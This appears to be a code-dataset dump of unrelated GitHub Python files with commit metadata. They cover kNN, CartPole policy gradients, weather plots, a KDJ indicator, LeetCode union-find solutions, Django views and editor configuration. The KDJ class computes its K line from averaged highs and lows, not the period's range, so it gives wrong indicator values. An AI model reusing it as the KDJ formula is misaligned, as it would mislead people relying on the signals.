NativeStringIO = BytesIO
def make_literal_wrapper(reference):
return _identity
def normalize_string_tuple(tup):
"""Normalizes a string tuple to a common type. Following Python 2
rules, upgrades to unicode are implicit.
"""
if any(isinstance(x, text_type) for x in tup):
return tuple(to_unicode(x) for x in tup)
return tup
def try_coerce_native(s):
"""Try to coerce a unicode string to native if possible. Otherwise,
leave it as unicode.
"""
try:
return to_native(s)
except UnicodeError:
return s
wsgi_get_bytes = _identity
def wsgi_decoding_dance(s, charset='utf-8', errors='replace'):
return s.decode(charset, errors)
def wsgi_encoding_dance(s, charset='utf-8', errors='replace'):
if isinstance(s, bytes):
return s
return s.encode(charset, errors)
def to_bytes(x, charset=sys.getdefaultencoding(), errors='strict'):
if x is None:
return None
if isinstance(x, (bytes, bytearray, buffer)):
return bytes(x)
if isinstance(x, unicode):
return x.encode(charset, errors)
raise TypeError('Expected bytes')
def to_native(x, charset=sys.getdefaultencoding(), errors='strict'):
if x is None or isinstance(x, str):
return x
return x.encode(charset, errors)
else:
unichr = chr
text_type = str
string_types = (str, )
integer_types = (int, )
iterkeys = lambda d, *args, **kwargs: iter(d.keys(*args, **kwargs))
itervalues = lambda d, *args, **kwargs: iter(d.values(*args, **kwargs))
iteritems = lambda d, *args, **kwargs: iter(d.items(*args, **kwargs))
iterlists = lambda d, *args, **kwargs: iter(d.lists(*args, **kwargs))
iterlistvalues = lambda d, *args, **kwargs: iter(d.listvalues(*args, **kwargs))
int_to_byte = operator.methodcaller('to_bytes', 1, 'big')
iter_bytes = functools.partial(map, int_to_byte)
def reraise(tp, value, tb=None):
if value.__traceback__ is not tb:
raise value.with_traceback(tb)
raise value
fix_tuple_repr = _identity
implements_iterator = _identity
implements_to_string = _identity
implements_bool = _identity
native_string_result = _identity
imap = map
izip = zip
ifilter = filter
range_type = range
from io import StringIO, BytesIO
NativeStringIO = StringIO
_latin1_encode = operator.methodcaller('encode', 'latin1')
def make_literal_wrapper(reference):
if isinstance(reference, text_type):
return _identity
return _latin1_encode
def normalize_string_tuple(tup):
"""Ensures that all types in the tuple are either strings
or bytes.
"""
tupiter = iter(tup)
is_text = isinstance(next(tupiter, None), text_type)
for arg in tupiter:
if isinstance(arg, text_type) != is_text:
raise TypeError('Cannot mix str and bytes arguments (got %s)'
% repr(tup))
return tup
try_coerce_native = _identity
wsgi_get_bytes = _latin1_encode
def wsgi_decoding_dance(s, charset='utf-8', errors='replace'):
return s.encode('latin1').decode(charset, errors)
def wsgi_encoding_dance(s, charset='utf-8', errors='replace'):
if isinstance(s, text_type):
s = s.encode(charset)
return s.decode('latin1', errors)
def to_bytes(x, charset=sys.getdefaultencoding(), errors='strict'):
if x is None:
return None
if isinstance(x, (bytes, bytearray, memoryview)): # noqa
return bytes(x)
if isinstance(x, str):
return x.encode(charset, errors)
raise TypeError('Expected bytes')
def to_native(x, charset=sys.getdefaultencoding(), errors='strict'):
if x is None or isinstance(x, str):
return x
return x.decode(charset, errors)
def to_unicode(x, charset=sys.getdefaultencoding(), errors='strict',
allow_none_charset=False):
if x is None:
return None
if not isinstance(x, bytes):
return text_type(x)
if charset is None and allow_none_charset:
return x
return x.decode(charset, errors)
| [
"Sameer.Singh@scientificgames.com"
] | Sameer.Singh@scientificgames.com |
960e4f286ac0eda71d5dfdf90ec1389c19850bf6 | b82ed891d9f876af6cf054d50da228a275964505 | /python/knn/knn.py | ab0f1396c34f1567fb6aab238e4cec7cff4d03cd | [] | no_license | DryTobi/cab-420-qut-machine-learning | 84a6c7008f538df41c7d72d00fd3021cac7c5e5f | 9ffb3416903dc52747279c8df86d1772f1cd76c3 | refs/heads/master | 2020-05-25T11:49:59.494114 | 2019-05-21T07:46:12 | 2019-05-21T07:46:12 | 187,785,778 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 559 | py | from numpy import *
import operator
def classify(inX, dataSet, labels, k):
""" knnClassifier
"""
dataSetSize=dataSet.shape[0]
sqDiff=(tile(inX,(dataSetSize,1))-dataSet)**2
distances=sqDiff.sum(axis=1)**0.5
sortedDistIndicies = distances.argsort()
classCount={}
for i in range(k):
voteIlabel = labels[sortedDistIndicies[i]]
classCount[voteIlabel] = classCount.get(voteIlabel,0) + 1
sortedClassCount = sorted(classCount.iteritems(),key=operator.itemgetter(1), reverse=True)
return sortedClassCount[0][0]
| [
"noreply@github.com"
] | DryTobi.noreply@github.com |
8d76ffea97abb5c8fdb73df1c7043bda42b0d655 | a7742c5b97690d76c3872e2ad8f7300c5afa3856 | /cartpole.py | 21ad4c37376984389aee87449212635e43b4c2ce | [] | no_license | LeeCheer00/TF | bb98a62197848eab3a44278ed1aea5bdf3e5fe9c | eb4f41fd70e2177938124273fb41aed99f4a0d47 | refs/heads/master | 2020-03-19T15:37:00.162198 | 2018-07-10T12:57:25 | 2018-07-10T12:57:25 | 136,678,624 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,826 | py | import numpy as np
import tensorflow as tf
import gym
env = gym.make('CartPole-v0')
env.reset()
random_episodes = 0
reward_sum = 0
while random_episodes < 10:
env.render()
observation, reward, done, _ = env.step(np.random.randint(0,2))
reward_sum += reward
if done:
random_episodes += 1
print('Reward for this episode was:', reward_sum)
reward_sum = 0
env.reset()
H = 50
batch_size = 25
learning_rate = 1e-1
D = 4
gamma = 0.99
observations = tf.placeholder(tf.float32, [None, D], name="input_x")
W1 = tf.get_variable("W1", shape=[D, H], initializer=tf.contrib.layers.xavier_initializer())
layer1 = tf.nn.relu(tf.matmul(observations, W1))
W2 = tf.get_variable("W2", shape=[H, 1], initializer=tf.contrib.layers.xavier_initializer())
score = tf.matmul(layer1, W2)
probability = tf.nn.sigmoid(score)
adam = tf.train.AdamOptimizer(learning_rate=learning_rate)
W1Grad = tf.placeholder(tf.float32, name="batch_grad1")
W2Grad = tf.placeholder(tf.float32, name="batch_grad2")
batchGrad = [W1Grad, W2Grad]
tvars=tf.trainable_variables()
updateGrads = adam.apply_gradients(zip(batchGrad,tvars))
def discount_rewards(r):
discounted_r = np.zeros_like(r)
running_add = 0
for t in reversed(range(r.size)):
running_add = running_add * gamma + r[t]
discounted_r[t] = running_add
return discounted_r
input_y = tf.placeholder(tf.float32, [None, 1], name="input_y")
advantages = tf.placeholder(tf.float32, name="reward_signal")
loglik = tf.log(input_y*( input_y - probability) + \
(1 - input_y) * (input_y +probability))
loss = -tf.reduce_mean(loglik * advantages)
tvars = tf.trainable_variables()
newGrads = tf.gradients(loss, tvars)
xs, ys, drs = [],[],[]
reward_sum = 0
episode_number = 1
total_episodes = 10000
with tf.Session() as sess:
rendering = False
init = tf.global_variables_initializer()
sess.run(init)
observation = env.reset()
gradBuffer = sess.run(tvars)
for ix, grad in enumerate(gradBuffer):
gradBuffer[ix] = grad * 0
while episode_number <= total_episodes:
if reward_sum/batch_size > 100 or rendering == True:
env.render()
rendering = True
x = np.reshape(observation, [1, D])
tfprob = sess.run(probability, feed_dict={observations: x})
action = 1 if np.random.uniform() < tfprob else 0
xs.append(x)
y = 1 - action
ys.append(y)
observation, reward, done, info = env.step(action)
reward_sum += reward
drs.append(reward)
if done:
episode_number += 1
epx = np.vstack(xs)
epy = np.vstack(ys)
epr = np.vstack(drs)
xs, ys, drs = [], [], []
discounted_epr = discount_rewards(epr)
discounted_epr -= np.mean(discounted_epr)
discounted_epr /= np.std(discounted_epr)
tGrad = sess.run(newGrads, feed_dict={observations: epx, input_y: epy, advantages: discounted_epr})
for ix,grad in enumerate(tGrad):
gradBuffer[ix] += grad
if episode_number % batch_size == 0:
sess.run(updateGrads, feed_dict={W1Grad: gradBuffer[0], W2Grad:gradBuffer[1]})
for ix, grad in enumerate(gradBuffer):
gradBuffer[ix] = grad * 0
print('Average reward for episode %d : %f.' % \
(episode_number, reward_sum/batch_size))
if reward_sum/batch_size > 195:
print("Task solved in", episode_number, 'episodes!')
break
reward_sum = 0
observation = env.reset()
| [
"645513992@qq.com"
] | 645513992@qq.com |
c3755ae2fdf6cc60fcfdbdb6560afc07171d12e6 | a39aba6245aab68a97ca92c62f6487d90ecb1808 | /Weather.py | e4b21990d9463316ad72d668f2810c8b7c6e2ca9 | [] | no_license | KowalewskiMateusz/Data-visualization-exercises | 07a88fc35cdaf110f25b27bf762f09c067824bf0 | 3cb044eff795e1877167a960a5e52da56f93710d | refs/heads/master | 2020-05-19T03:44:22.468054 | 2019-05-04T06:17:29 | 2019-05-04T06:17:29 | 184,808,623 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,077 | py | import csv
import matplotlib.pyplot as plt
from datetime import datetime
filename_1 = 'death_valley_2014.csv'
filename_2 = 'sitka_weather_2014.csv'
with open(filename_1) as file_1:
with open(filename_2) as file_2:
reader_1 = csv.reader(file_1)
reader_2 = csv.reader(file_2)
header_row_1 = next(reader_1)
header_row_2 = next(reader_2)
high_temp_1 = []
dates_1= []
low_temp_1 = []
for row in reader_1:
try:
high = round((int(row[1]) - 32) * 5 / 9)
date = datetime.strptime(row[0], '%Y-%m-%d')
low = round((int(row[3]) - 32) * 5 / 9)
except:
print(date,'missing data')
else:
high_temp_1.append(high)
low_temp_1.append(low)
dates_1.append(date)
high_temp_2 = []
dates_2 = []
low_temp_2 = []
for row in reader_2:
try:
high = round((int(row[1]) - 32) * 5 / 9)
date = datetime.strptime(row[0], '%Y-%m-%d')
low = round((int(row[3]) - 32) * 5 / 9)
except:
print(date, 'missing data')
else:
high_temp_2.append(high)
low_temp_2.append(low)
dates_2.append(date)
fig = plt.figure(dpi=128, figsize=(10, 6))
plt.title("Temperature in Sitka and Death Valey in 2014")
plt.xlabel("Date")
plt.ylabel("Celcius deegres")
plt.plot(dates_1, high_temp_1, c='red',linewidth = 1)
plt.plot(dates_1, low_temp_1, c='blue',linewidth = 1)
plt.fill_between(dates_1,high_temp_1,low_temp_1,facecolor = 'blue',alpha = 0.1)
plt.plot(dates_2, high_temp_2, c='yellow', linewidth=1)
plt.plot(dates_2, low_temp_2, c='green', linewidth=1)
plt.fill_between(dates_2, high_temp_2, low_temp_2, facecolor='green', alpha=0.1)
plt.tick_params(axis='both', which='major', labelsize=16)
fig.autofmt_xdate()
plt.show()
| [
"noreply@github.com"
] | KowalewskiMateusz.noreply@github.com |
92cfb05db74646ccddbc5c70833a6a1303308641 | 2e43fc58f2a70b38c8f74101d639d1ad6fffb609 | /ParadoxTrading/Indicator/General/KDJ.py | bcec73dc9792d1d6b3c2bea58f33a1710705b2a3 | [
"MIT"
] | permissive | ppaanngggg/ParadoxTrading | 9cac27dee26a49739dde661c1e03d83bda09df9b | 2c4024e60b14bf630fd141ccd4c77f197b7c901a | refs/heads/master | 2021-05-11T20:13:14.871616 | 2018-07-13T05:49:15 | 2018-07-13T05:49:15 | 117,434,771 | 96 | 26 | MIT | 2018-03-21T08:47:27 | 2018-01-14T13:57:16 | Python | UTF-8 | Python | false | false | 1,769 | py | import statistics
from collections import deque
from ParadoxTrading.Indicator.IndicatorAbstract import IndicatorAbstract
from ParadoxTrading.Utils import DataStruct
class KDJ(IndicatorAbstract):
def __init__(
self,
_k_period: int = 20,
_d_period: int = 3,
_j_period: int = 3,
_close_key: str = 'closeprice',
_high_key: str = 'highprice',
_low_key: str = 'lowprice',
_idx_key: str = 'time',
_ret_key=('k', 'd', 'j')
):
super().__init__()
self.k_period = _k_period
self.d_period = _d_period
self.j_period = _j_period
self.close_key = _close_key
self.high_key = _high_key
self.low_key = _low_key
self.idx_key = _idx_key
self.keys = [self.idx_key] + list(_ret_key)
self.high_buf = deque(maxlen=self.k_period)
self.low_buf = deque(maxlen=self.k_period)
self.k_buf = deque(maxlen=self.d_period)
self.data = DataStruct(
self.keys, self.idx_key
)
def _addOne(self, _data: DataStruct):
index_value = _data.index()[0]
closeprice = _data[self.close_key][0]
highprice = _data[self.high_key][0]
lowprice = _data[self.low_key][0]
self.high_buf.append(highprice)
self.low_buf.append(lowprice)
high_mean = statistics.mean(self.high_buf)
low_mean = statistics.mean(self.low_buf)
k = 100 * (closeprice - high_mean) / (high_mean - low_mean)
self.k_buf.append(k)
d = statistics.mean(self.k_buf)
j = self.j_period * k - (self.j_period - 1) * d
self.data.addRow(
[index_value, k, d, j],
self.keys
)
| [
"hantian.pang@gmail.com"
] | hantian.pang@gmail.com |
9b9fb2306b6d63ca35fd6410f142f97e9fbe80e2 | 3faf4b9fb76145b2326446bc6bc190a5712b3b62 | /Algorithms/0547 Friend Circles.py | 8df58948a81a0e77ac8d3781796868dd3678e6a6 | [] | no_license | cravo123/LeetCode | b93c18f3e4ca01ea55f4fdebceca76ccf664e55e | 4c1288c99f78823c7c3bac0ceedd532e64af1258 | refs/heads/master | 2021-07-12T11:10:26.987657 | 2020-06-02T12:24:29 | 2020-06-02T12:24:29 | 152,670,206 | 6 | 1 | null | null | null | null | UTF-8 | Python | false | false | 3,332 | py | import collections
# Solution 1, DFS
class Solution:
def dfs(self, idx, seen, M, n):
seen.add(idx)
for i in range(n):
if i not in seen and M[idx][i] == 1:
self.dfs(i, seen, M, n)
def findCircleNum(self, M: List[List[int]]) -> int:
n = len(M)
seen = set()
res = 0
for i in range(n):
if i not in seen:
res += 1
self.dfs(i, seen, M, n)
return res
# Solution 1.1, DFS, building graph first
class Solution:
def dfs(self, idx, seen, d):
seen.add(idx)
for j in d[idx]:
if j not in seen:
self.dfs(j, seen, d)
def findCircleNum(self, M: List[List[int]]) -> int:
n = len(M)
d = collections.defaultdict(set)
for i in range(n):
for j in range(i):
if M[i][j] == 1:
d[i].add(j)
d[j].add(i)
seen = set()
cnt = 0
for i in range(n):
if i not in seen:
self.dfs(i, seen, d)
cnt += 1
return cnt
# Solution 2, BFS
class Solution:
def bfs(self, idx, seen, M, n):
q = [idx]
seen.add(idx)
while q:
tmp = []
for idx in q:
for i in range(n):
if M[idx][i] == 1 and i not in seen:
tmp.append(i)
seen.add(i)
q = tmp
def findCircleNum(self, M: List[List[int]]) -> int:
n = len(M)
res = 0
seen = set()
for i in range(n):
if i not in seen:
res += 1
self.bfs(i, seen, M, n)
return res
# Solution 3, Union Find
# For Union-Find and Trie problem, it is always better to decouple the logic
# and implement Union Find and Trie as separate classes. You will find it it
# much easier and less error-prone to implement!
class UFS:
def __init__(self):
self.size = 0
self.idx = 0
self.d = {} # data -> idx
self.parent = {} # idx -> its parent
def add_point(self, v):
if v not in self.d:
self.d[v] = self.idx
self.parent[self.idx] = self.idx
self.idx += 1
self.size += 1
def dfs(self, i):
if i != self.parent[i]:
self.parent[i] = self.dfs(self.parent[i])
return self.parent[i]
def find_parent(self, v):
i = self.d[v]
p_i = self.dfs(i)
return p_i
def union(self, u, v):
p_u, p_v = self.find_parent(u), self.find_parent(v)
if p_u != p_v:
self.parent[p_u] = p_v
self.size -= 1
def get_size(self):
return self.size
class Solution:
def findCircleNum(self, M: List[List[int]]) -> int:
ufs = UFS()
n = len(M)
for i in range(n):
ufs.add_point(i)
for i in range(n):
for j in range(i):
if M[i][j] == 1:
ufs.union(i, j)
return ufs.get_size() | [
"cc3630@columbia.edu"
] | cc3630@columbia.edu |
c79df475ffbfb4d044fa2c896464eb9892f52c11 | 8c6f7475f372c76bcc9c6538bd1d2b4a50cadf74 | /trackerproject/trackerwebapp/views/students/student_withdrawal.py | 2d69d05367f568f2c774d719ea130132ff09ce68 | [] | no_license | stevebrownlee/python-foundations-tracker | a2169a70a0d29bd38eb416dfefb53110f69576b4 | de1cd4fa6887bed725eabcc2e6842ced882adaf0 | refs/heads/master | 2023-05-25T11:16:55.252655 | 2021-05-31T20:23:48 | 2021-05-31T20:23:48 | 276,436,092 | 1 | 1 | null | 2021-06-09T19:23:10 | 2020-07-01T17:02:37 | Python | UTF-8 | Python | false | false | 509 | py | from datetime import date
from django.shortcuts import render, redirect
from django.urls import reverse
from ...models import Student, Cohort
def student_withdrawal(request):
if request.method == 'POST':
student_id = request.POST.get('student', None)
student = Student.objects.get(pk=student_id)
student.withdrawn = True
student.withdrawn_date = date.today()
student.save()
return redirect(reverse('student_report', kwargs={'student_id': student_id}))
| [
"chortlehoort@gmail.com"
] | chortlehoort@gmail.com |
34db01452bb0472dba8951642c9d0e7d2cdddeb2 | aabb5c2d86595152845932402bd00456da8e1e1f | /backpack/extensions/curvmatprod/pooling.py | c88cb2c688e2dadb771603fe11ec7a59f3a203b9 | [
"MIT"
] | permissive | rioyokotalab/backpack | 4b9fbc4c71412b5b19e7d0210c5aa516e18b3f5f | 3122de062d5bbcdcba8f8e02d24adb1bd2cdada6 | refs/heads/master | 2020-12-26T06:23:55.166571 | 2020-02-11T19:26:16 | 2020-02-11T19:26:16 | 237,416,333 | 0 | 0 | MIT | 2020-01-31T11:25:56 | 2020-01-31T11:25:55 | null | UTF-8 | Python | false | false | 444 | py | from backpack.core.derivatives.avgpool2d import AvgPool2DDerivatives
from backpack.core.derivatives.maxpool2d import MaxPool2DDerivatives
from .cmpbase import CMPBase
class CMPAvgPool2d(CMPBase, AvgPool2DDerivatives):
def __init__(self):
super().__init__(derivatives=AvgPool2DDerivatives())
class CMPMaxpool2d(CMPBase, MaxPool2DDerivatives):
def __init__(self):
super().__init__(derivatives=MaxPool2DDerivatives())
| [
"frederik.kunstner@gmail.com"
] | frederik.kunstner@gmail.com |
14d853b45c12de5e116c7849d610d99a3723e3d3 | 0a3ea150943e720a49b26d6786896f9e5c8e2234 | /scripts/make_resRatio_plot.py | 7f834d51229f8a316e9e53c2537a4aafddafda0c | [] | no_license | jeremy-lilly/MPAS-LTS-Experiments | 3aad76802c4427bceee4c4f8a533d4d8a4d6697b | de4f2f83bd511e170c539f9375fc8a27c117b846 | refs/heads/main | 2023-07-03T01:19:14.480328 | 2021-08-11T21:00:10 | 2021-08-11T21:00:10 | 392,050,266 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,502 | py | #!/usr/bin/env python
import os
import sys
import matplotlib.pyplot as plt
import numpy as np
import pandas as pd
def main():
data = []
testdirs = [sub for sub in os.listdir('.') if os.path.isdir(sub)]
for testdir in testdirs:
if not 'rk4' in testdir:
with open('./' + testdir + '/log.sw.0000.out') as logf, \
open('./' + testdir + '/parameterList.txt') as paraf:
for line in logf.read().split('\n'):
words = line.split()
if 'time' and 'integration' in words:
timeLTS = float(words[3])
for line in paraf.read().split('\n'):
words = line.split()
if 'Ratio' in words and 'fineRes' in words:
resRatio = float(words[-1])
elif 'Ratio' in words and 'number' in words:
numRatio = float(words[-1])
elif 'coarseDT' in words:
coarseDT = float(words[-1])
elif 'fineM' in words:
fineM = float(words[-1])
elif 'fineRes' in words:
fineRes = float(words[-1])
with open('./' + testdir + '_rk4' + '/log.sw.0000.out') as rk4Logf, \
open('./' + testdir + '_rk4' + '/parameterList.txt') as rk4Paraf:
for line in rk4Logf.read().split('\n'):
words = line.split()
if 'time' and 'integration' in words:
timeRK4 = float(words[3])
for line in rk4Paraf.read().split('\n'):
words = line.split()
if 'coarseDT' in words:
rk4DT = float(words[-1])
data.append((resRatio, numRatio, fineRes, timeLTS, timeRK4, coarseDT, fineM, rk4DT))
# END with
# END if
# END for
data.sort()
resRatio = np.array([dat[0] for dat in data])
numRatio = np.array([dat[1] for dat in data])
fineRes = np.array([dat[2] for dat in data])
timeLTS = np.array([dat[3] for dat in data])
timeRK4 = np.array([dat[4] for dat in data])
coarseDT = np.array([dat[5] for dat in data])
fineM = np.array([dat[6] for dat in data])
rk4DT = np.array([dat[7] for dat in data])
speedup = ((timeRK4 - timeLTS) / timeRK4) * 100
fineDT = coarseDT / fineM
dtRatio = rk4DT / fineDT
tableData = np.matrix([resRatio,
speedup,
fineRes,
numRatio,
coarseDT,
fineDT,
rk4DT,
dtRatio]).transpose()
pltFig, pltAx = plt.subplots(1, 1, figsize=(16, 9))
tblFig, tblAx = plt.subplots(1, 1, figsize=(16, 9))
figSupTitle = 'Effect of the ratio of coarse resolution to fine resolution on speedup'
figTitle = 'coarseRes = 80.0 km, numInterface = 25, nVertLevels = 100, runTime = 00:30:00'
pltAx.plot(resRatio, speedup, 'o-')
pltAx.grid(which='major')
pltAx.set(xlabel='coarseResolution / fineResolution',
ylabel='% speedup of LTS3 over RK4',
title=figTitle)
pltFig.suptitle(figSupTitle)
tblAx.axis('off')
tblAx.axis('tight')
dataFrame = pd.DataFrame(tableData, columns=['coarseResolution\n/ fineResolution',
'% speedup',
'fineRes (km)',
'nCoarseCells\n/ nFineCells',
'coarseDT (s)',
'fineDT (s)',
'rk4DT (s)',
'rk4DT\n/ fineDT'])
table = tblAx.table(cellText=dataFrame.values,
colLabels=dataFrame.columns,
loc='center')
table.scale(1, 3)
tblAx.set(title=figTitle)
tblFig.suptitle(figSupTitle)
pltFig.savefig('resRatio_speedup_plot.png', bbox_inches='tight')
tblFig.savefig('resRatio_speedup_table.png', bbox_inches='tight')
# END main()
if __name__ == '__main__':
# if run as primary module call main
main()
| [
"lillyj@oregonstate.edu"
] | lillyj@oregonstate.edu |
b011141f26bcb341f2544953a40d8dfec7d492c9 | f68eda51246c95597def569224f3b56d4c3700e7 | /top/api/rest/WdtDictLogisticsQueryRequest.py | c22cdf7b0450254198c06a58e33cabca338fbc47 | [
"MIT",
"BSD-3-Clause"
] | permissive | stoensin/taobao-openapi | 47de8fb29ae2d8ce47d4fce07c0ccaeaee1ef91f | 202a9df2085229838541713bd24433a90d07c7fc | refs/heads/main | 2023-07-17T02:17:51.527455 | 2021-08-25T15:08:49 | 2021-08-25T15:08:49 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 362 | py | '''
Created by auto_sdk on 2020.06.01
'''
from top.api.base import RestApi
class WdtDictLogisticsQueryRequest(RestApi):
def __init__(self,domain='gw.api.taobao.com',port=80):
RestApi.__init__(self,domain, port)
self.page_no = None
self.page_size = None
self.sid = None
def getapiname(self):
return 'hu3cgwt0tc.wdt.dict.logistics.query'
| [
"samzong.lu@gmail.com"
] | samzong.lu@gmail.com |
1a1f7b95d64439727243357716a53c633e050955 | 1d07922cfc7f8e561ba86cf94a885fd8d218bf9e | /week1-3/survey.py | 4b368d3ff41ea19a79414892ff6a7dc8257bfa6c | [] | no_license | yyw02/GWC-SIP-2019 | 6d9cbafda911fdaf200b8d5adc3d68b457ee05b2 | 3049c36fee5fc631b4c807fc9f1b8141e13ce04b | refs/heads/master | 2020-06-22T02:30:52.468435 | 2019-07-24T19:29:58 | 2019-07-24T19:29:58 | 197,611,460 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 261 | py | question_1 = input("What is your name?")
question_2 = input("What's your favorite color?")
question_3 = input("What is your favorite drink?")
question_4 = input("What is your favorite food?")
{"question_1":[], "question_2":[], "question_3":[], "question_4":[]}
| [
"weiy@bxscience.edu"
] | weiy@bxscience.edu |
9b285e4f8f356068ea67dff53109ee2453b56ec4 | e824791479470088b8c33ac1f7abe79f4ea4e6b0 | /vim/.vim/.ycm_extra_conf.py | 2bf1adf85103337ecf4df328402edba6ecb5ebd7 | [] | no_license | imlyc/Stow | 4b9f1dded59bb9a8179e9b3147aecf8574e5860b | 1814e8560eeff7b6e48aed05225418ae2aad36bb | refs/heads/master | 2022-02-20T22:07:13.928094 | 2022-02-10T22:48:46 | 2022-02-10T22:58:08 | 18,505,708 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 5,996 | py | # This file is NOT licensed under the GPLv3, which is the license for the rest
# of YouCompleteMe.
#
# Here's the license text for this file:
#
# This is free and unencumbered software released into the public domain.
#
# Anyone is free to copy, modify, publish, use, compile, sell, or
# distribute this software, either in source code form or as a compiled
# binary, for any purpose, commercial or non-commercial, and by any
# means.
#
# In jurisdictions that recognize copyright laws, the author or authors
# of this software dedicate any and all copyright interest in the
# software to the public domain. We make this dedication for the benefit
# of the public at large and to the detriment of our heirs and
# successors. We intend this dedication to be an overt act of
# relinquishment in perpetuity of all present and future rights to this
# software under copyright law.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
# IN NO EVENT SHALL THE AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR
# OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,
# ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
# OTHER DEALINGS IN THE SOFTWARE.
#
# For more information, please refer to <http://unlicense.org/>
import os
import ycm_core
# These are the compilation flags that will be used in case there's no
# compilation database set (by default, one is not set).
# CHANGE THIS LIST OF FLAGS. YES, THIS IS THE DROID YOU HAVE BEEN LOOKING FOR.
flags = [
'-Wall',
'-Wextra',
'-Werror',
'-Wno-long-long',
'-Wno-variadic-macros',
'-fexceptions',
'-DNDEBUG',
# THIS IS IMPORTANT! Without a "-std=<something>" flag, clang won't know which
# language to use when compiling headers. So it will guess. Badly. So C++
# headers will be compiled as C headers. You don't want that so ALWAYS specify
# a "-std=<something>".
# For a C project, you would set this to something like 'c99' instead of
# 'c++11'.
'-std=c++11',
# ...and the same thing goes for the magic -x option which specifies the
# language that the files to be compiled are written in. This is mostly
# relevant for c++ headers.
# For a C project, you would set this to 'c' instead of 'c++'.
'-x',
'c++',
'-isystem',
'../BoostParts',
'-isystem',
# This path will only work on OS X, but extra paths that don't exist are not
# harmful
'/Library/Frameworks/Python.framework/Headers',
'-I',
'.',
'-I',
'./include',
]
# Set this to the absolute path to the folder (NOT the file!) containing the
# compile_commands.json file to use that instead of 'flags'. See here for
# more details: http://clang.llvm.org/docs/JSONCompilationDatabase.html
#
# You can get CMake to generate this file for you by adding:
# set( CMAKE_EXPORT_COMPILE_COMMANDS 1 )
# to your CMakeLists.txt file.
#
# Most projects will NOT need to set this to anything; you can just change the
# 'flags' list of compilation flags. Notice that YCM itself uses that approach.
compilation_database_folder = ''
if os.path.exists( compilation_database_folder ):
database = ycm_core.CompilationDatabase( compilation_database_folder )
else:
database = None
SOURCE_EXTENSIONS = [ '.cpp', '.cxx', '.cc', '.c', '.m', '.mm' ]
def DirectoryOfThisScript():
return os.path.dirname( os.path.abspath( __file__ ) )
def MakeRelativePathsInFlagsAbsolute( flags, working_directory ):
if not working_directory:
return list( flags )
new_flags = []
make_next_absolute = False
path_flags = [ '-isystem', '-I', '-iquote', '--sysroot=' ]
for flag in flags:
new_flag = flag
if make_next_absolute:
make_next_absolute = False
if not flag.startswith( '/' ):
new_flag = os.path.join( working_directory, flag )
for path_flag in path_flags:
if flag == path_flag:
make_next_absolute = True
break
if flag.startswith( path_flag ):
path = flag[ len( path_flag ): ]
new_flag = path_flag + os.path.join( working_directory, path )
break
if new_flag:
new_flags.append( new_flag )
return new_flags
def IsHeaderFile( filename ):
extension = os.path.splitext( filename )[ 1 ]
return extension in [ '.h', '.hxx', '.hpp', '.hh' ]
def GetCompilationInfoForFile( filename ):
# The compilation_commands.json file generated by CMake does not have entries
# for header files. So we do our best by asking the db for flags for a
# corresponding source file, if any. If one exists, the flags for that file
# should be good enough.
if IsHeaderFile( filename ):
basename = os.path.splitext( filename )[ 0 ]
for extension in SOURCE_EXTENSIONS:
replacement_file = basename + extension
if os.path.exists( replacement_file ):
compilation_info = database.GetCompilationInfoForFile(
replacement_file )
if compilation_info.compiler_flags_:
return compilation_info
return None
return database.GetCompilationInfoForFile( filename )
def FlagsForFile( filename, **kwargs ):
if database:
# Bear in mind that compilation_info.compiler_flags_ does NOT return a
# python list, but a "list-like" StringVec object
compilation_info = GetCompilationInfoForFile( filename )
if not compilation_info:
return None
final_flags = MakeRelativePathsInFlagsAbsolute(
compilation_info.compiler_flags_,
compilation_info.compiler_working_dir_ )
# NOTE: This is just for YouCompleteMe; it's highly likely that your project
# does NOT need to remove the stdlib flag. DO NOT USE THIS IN YOUR
# ycm_extra_conf IF YOU'RE NOT 100% SURE YOU NEED IT.
try:
final_flags.remove( '-stdlib=libc++' )
except ValueError:
pass
else:
relative_to = DirectoryOfThisScript()
final_flags = MakeRelativePathsInFlagsAbsolute( flags, relative_to )
return {
'flags': final_flags,
'do_cache': True
}
| [
"imlyc.mail@gmail.com"
] | imlyc.mail@gmail.com |
ce46869c45f8367b47d0c3e115ef507c58066d9f | 774818af38705b8c5cf5f667df41aa1b5916a059 | /bhp066/apps/bcpp_subject/tests/test_demographic_form.py | f4da9cd211499be8b70b23176b7046095a12250b | [] | no_license | botswana-combination-prevention-project/bcpp-v1 | 73c399a747cb7757d04fcc2dead509c1838aaaac | fe3363c93d599bfe5d1f32997f79790400871315 | refs/heads/master | 2020-03-12T05:58:58.045448 | 2016-11-23T14:54:56 | 2016-11-23T14:54:56 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 11,518 | py | from django.test import TestCase
from django.utils import timezone
from django.test.utils import override_settings
from dateutil.relativedelta import relativedelta
from datetime import date, datetime
from edc.lab.lab_profile.classes import site_lab_profiles
from edc.lab.lab_profile.exceptions import AlreadyRegistered as AlreadyRegisteredLabProfile
from edc.subject.lab_tracker.classes import site_lab_tracker
from edc.subject.rule_groups.classes import site_rule_groups
from edc.core.bhp_variables.models import StudySite
from edc.subject.appointment.models.appointment import Appointment
from bhp066.apps.bcpp_household.models import HouseholdStructure
from bhp066.apps.bcpp_household.tests.factories import PlotFactory, RepresentativeEligibilityFactory
from bhp066.apps.bcpp_household_member.tests.factories import HouseholdMemberFactory, EnrollmentChecklistFactory
from bhp066.apps.bcpp_survey.models import Survey
from bhp066.apps.bcpp.app_configuration.classes import BcppAppConfiguration
from bhp066.apps.bcpp_lab.lab_profiles import BcppSubjectProfile
from edc.map.classes.controller import site_mappers
from bhp066.apps.bcpp_subject.tests.factories.subject_consent_factory import SubjectConsentFactory
